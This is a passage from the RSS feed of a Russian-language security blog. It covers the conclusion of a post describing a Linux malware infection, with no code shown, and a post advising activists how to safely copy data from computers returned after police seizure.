&lt;p&gt;Если рассмотреть инсталлеры, код которых я привел выше (&lt;strong&gt;ar.sh&lt;/strong&gt;, &lt;strong&gt;ai.sh&lt;/strong&gt;), то станет ясно, что он загадил всю машину своими следами, обнулил правила фаерволла и выставил для ряда файлов атрибуты неизменяемости (chattr).&lt;/p&gt;

&lt;p&gt;Кстати, этот вирус и хорошим делом занимается — чистит компьютер от конкурентов: сносит чужие вирусы с майнерами в кронтабе, удаляет неугодные докер-контейнеры :)&lt;/p&gt;

&lt;p&gt;Написать скрипт-антидот, конечно, можно, и может быть даже имело бы смысл этим заняться, но возиться с этим у меня пока нет желания. Проще систему переставить.&lt;/p&gt;

&lt;h3 id=&quot;небольшое-заключение&quot;&gt;Небольшое заключение&lt;/h3&gt;

&lt;p&gt;Как-то так. Надеюсь тебе понравилось это мини-расследование.&lt;/p&gt;

&lt;p&gt;Кстати, если нуждаешься в чистке сервера от какой нибудь нечисти, то можешь &lt;a href=&quot;/about/&quot;&gt;писать мне&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Ну и буду рад даже очень скромным &lt;a href=&quot;/donate&quot;&gt;донейтам&lt;/a&gt; (например, на кофе) и какой-нибудь обратной связи.&lt;/p&gt;
</description>
        <pubDate>Tue, 15 Feb 2022 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/looking-for-virus-in-linux-system/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/looking-for-virus-in-linux-system/</guid>
      </item>
    
      <item>
        <title>Что делать с компьютерной техникой после обыска, изъятия и возврата</title>
        <description>&lt;p&gt;В политически нестабильных странах очень часто прессуют журналистов, правозащитников и простых активистов. Порой приходят с обысками, изымают технику – и через определённое время, как правило, возвращают. Многие из-за паранойи вынуждены впоследствии её продавать и покупать новое железо, так как не исключают вживления в устройства аппаратных бекдоров. Особенно напрягает менять устройства, когда такая практика их изъятия – систематическая. Но к сожалению, это вынужденная и правильная мера. Хочу рассказать почему.&lt;/p&gt;

&lt;h2 id=&quot;аппаратные-и-программные-бекдоры&quot;&gt;Аппаратные и программные бекдоры&lt;/h2&gt;

&lt;p&gt;Прошли те времена, когда спецслужбы в компьютеры внедряли аппаратные бекдоры. Раньше можно было обойтись переодическим взвешиванием устройства до обыска/изъятия и после его возврата. Сейчас же эта схема не сработает. А всё потому что появились более изящные способы взять тебя на карандаш и следить за твоими действиями. Теперь же могут модифицировать биос на материнской плате, либо вообще прошить микрокод в винчестере, и после подключения он может, например, слить пароль от твоего LUKS-контейнера майору на почту (ну а копия твоего винта у него уже есть, не сомневайся в этом). Не исключено также, что и в сам софт тебе что-то внедрили, и что скорее всего не сразу увидит антивирус.&lt;/p&gt;

&lt;p&gt;Поэтому лучше всего сменить устройство на новое. И не менее важно ответственно подойти к копированию информации со старого устройства на новое!&lt;/p&gt;

&lt;p&gt;Если же ты решил оставить устройство, то как минимум снеси всё к чертям, установив всё с нуля (но, повторюсь еще раз, это не гарантированное решение – ты просто чуть минимизируешь риски).&lt;/p&gt;

&lt;h2 id=&quot;как-правильно-копировать-информацию-с-устройства-которое-вернули&quot;&gt;Как правильно копировать информацию с устройства, которое вернули&lt;/h2&gt;

&lt;p&gt;Поскольку старое устройство может быть заражено, то как только ты подключишься к интернету – твои конфиденциальные данные могут утечь в сеть. Причём может не спасти даже то, что раздел с ОС был зашифрован, потому что ПЗУ биоса или накопителя могло быть модифицировано для этой задачи. Поэтому необходим как минимум еще один компьютер. В этом компьютере ты отключаешь интернет, подключаешь запоминающее устройство, проверяешь файлы на вирусы и делаешь бекап необходимых данных, после чего отключаешь накопительное устройство – и только потом подключаешься к интернету.&lt;/p&gt;

&lt;p&gt;В идеале вообще загрузиться с какого нибудь tails (с флешки, с загрузкой в ОЗУ без какой-либо записи на винт, без сети),  подключить накопитель с которого будем копировать (!) &lt;strong&gt;по USB&lt;/strong&gt; (т.к. через системную шину он может выполнять некоторые команды CPU в основной системе, если заражен микрокод) и скопировать с него файлы на дополнительный накопитель. После чего не забыть прогнать антивирусом все файлы (при условии что твое устройство попало не в те руки не в зашифрованном состоянии).&lt;/p&gt;

&lt;p&gt;В безопасности можно копать до бесконечности, поэтому выбирай, какой из способов и какая степень тебе необходимы. Моя задача лишь представить и оговорить возможные варианты.&lt;/p&gt;
</description>
        <pubDate>Fri, 02 Apr 2021 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/actions_after_the_search_and_seizure_of_computers/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/actions_after_the_search_and_seizure_of_computers/</guid>
      </item>
    
  </channel>
</rss>
